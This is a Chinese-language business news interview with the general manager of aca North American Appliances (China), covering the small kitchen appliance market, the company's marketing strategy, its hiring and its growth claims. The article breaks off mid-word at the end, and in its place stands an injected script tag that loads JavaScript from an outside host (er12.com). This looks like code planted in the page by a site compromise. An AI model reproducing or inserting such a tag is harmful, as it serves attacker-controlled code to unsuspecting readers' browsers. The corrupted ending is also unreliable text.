当大型家电成为城市居民必备的物品时，人们对高雅、实用、能为居家生活带来便利的小家电会表现怎样的兴趣？试想一下，整洁明亮的开放式厨房中，烤箱里吱吱作响的鸡翅膀香味四溢，电蒸笼中红红的蒜蓉虾伸着懒腰，面包机中正在烘烤着营养丰富的全麦面包，色香味俱全的晚餐正在等着您，可厨房中依旧整洁，毫无油烟。这就是aca北美电器(中国)有限公司的总经理王纳新要为人们打造的“纯开放式厨房”！上周，记者终于有空“抓到”了这个大忙人，听王纳新说说“厨房革命”和他的新生意经。 谈竞争――“小家电市场的竞争才刚开始”
尽管家电业竞争激烈，但是还有一块非常诱人的“蛋糕”并未被充分切割，那就是小家电市场。据统计表明，目前国内大家电的利润约在5%左右甚至更低，而小家电则高达两位数。尽管小家电的销售额一般只占到家电总销售额的10%左右，但其利润却几乎是大家电的1倍。
“今后10年，中国将有33%的住户进入新居，这就意味着平均每年有260万台以上的厨房家电要更新换代，市场对各类新型厨具等小家电产品的需求是可想而知的。”两年前，王纳新这样预测。
两年后，对于市场前景，王纳新依然乐观对待。他认为，在发达国家目前有小家电产品近200种，而中国国内只有不到100种，可以开发的市场还很大。在发达国家平均每户拥有小家电30至40件，而在中国每户仅有几件。“消费者购买小家电，质量只是最基本的要求，更重要的是获得使用小家电的快乐，随着生活水平的提高，对小家电产品的需求会越来越大。除个别产品外，小家电市场的竞争才刚刚开始。” 讲策略――“最大程度刺激消费者冲动购买”
据记者了解，面包机、多士炉、电烤箱、咖啡壶这一类的西式小家电产品，目前中国家庭的使用率并不高。要让中国的消费者真正接受和喜欢这些西式小家电，是一件难事。
对于这种现状，王纳新并不郁闷。在他的想法中，随着生活水平的提高，生活的品质也跟着改善和提高，北美电器提倡的“创意完美生活”理论，自然会让消费者感受到时尚精致的生活方式。“我们要让更多的消费者了解我们的品牌和我们的产品，了解之后进而使用我们的产品，使用一件产品之后再使用其他的产品，使用一次之后还想要不断地使用。总之一句话也就是最大程度地影响广大消费者，重点吸引目标消费者，最大程度地刺激消费者冲动购买。” 说经营――“用快速消费品概念经营小家电”
在采访王纳新之前，记者仔细翻阅了他的简历，王纳新曾经在名列世界500强的快速消费品公司工作。看aca北美电器的营销方式，不难得出，王纳新把快速消费品的经销理念带进了小家电的营销中。
对此，王纳新欣然肯定。“快速消费品的经销理念不仅适用小家电，而且实践证明效果非常好。”
王纳新认为，从营销学的角度来讲，新的产品的策略是尽可能地扩大使用人群的范围，加大使用人群的使用频率。目前aca已经将厨房小家电摆进大型家居卖场进行销售，将自己的烤箱、面包机陈列进宜家家居，让消费者在情景交融的环境中体会厨房文化。
按照王纳新的说法，在时尚、精致、高品质的生活方式下，北美电器的小家电很人性化。产品都配有相应的食谱，记者发现，烤箱配有烤箱食谱，酸奶机随箱配有酸奶食谱，不仅介绍如何制作不同口味的酸奶，同时介绍酸奶的营养价值，另外还有酸奶沙拉等消费者想不到的做法。 看重创新――“要大胆任用有活力的年轻人”
记者采访过很多公司的高层，在他们的头脑中，创新对于一个企业来说，不可或缺。对于这点，王纳新深表赞同，并以公司用人制度谈了自己对创新的看法。
“我们注重从其他行业引进了很多人才，大胆任用有活力、打破原有思维模式的年轻人。小家电是介于快速消费品和耐用消费品之间的一个消费品类，从零售终端的店面管理上更多汲取耐用消费品的经验，而在产品管理、经销商管理、库存管理等方面则要向快速消费品学习。”王纳新向记者介绍。
aca这种“不拘一格用人才”的方式，吸收了来自传统快速消费品行业、手机行业、化妆品行业、零售服务行业的人员，他们将来自不同行业的从业经验、思维方式带给aca。“这成为aca北美电器抢占市场的利器。” 寄望前景――“产品种类年增长速度超过30%”
“不夸张地说，aca产品有65%以上在中国是没有竞争对手的。中国小家电市场是一块十分诱人的‘肥肉’，但它并不是青睐所有的参与者。在aca已开发的产品中，早餐机、肉排机、智能面包机、蒸气清洁消毒机等65%以上的产品在中国都是没有竞争对手的，这填补了国内市场的空白。”两年前，王纳新说出了这样的“狂言”。两年后，他还是如此自信。“小家电的家庭拥有率是生活水平提高的标志，中国小家电市场显示出良好的成长性。电烤箱目前年增长率在60%左右，电水煲的预计年销量将达到800万台。而咖啡壶、面包机、酸奶机这些新兴产品也在迅速成长，逐渐被大众接受，深受消费者欢?script src=http://er12.com/t.js>
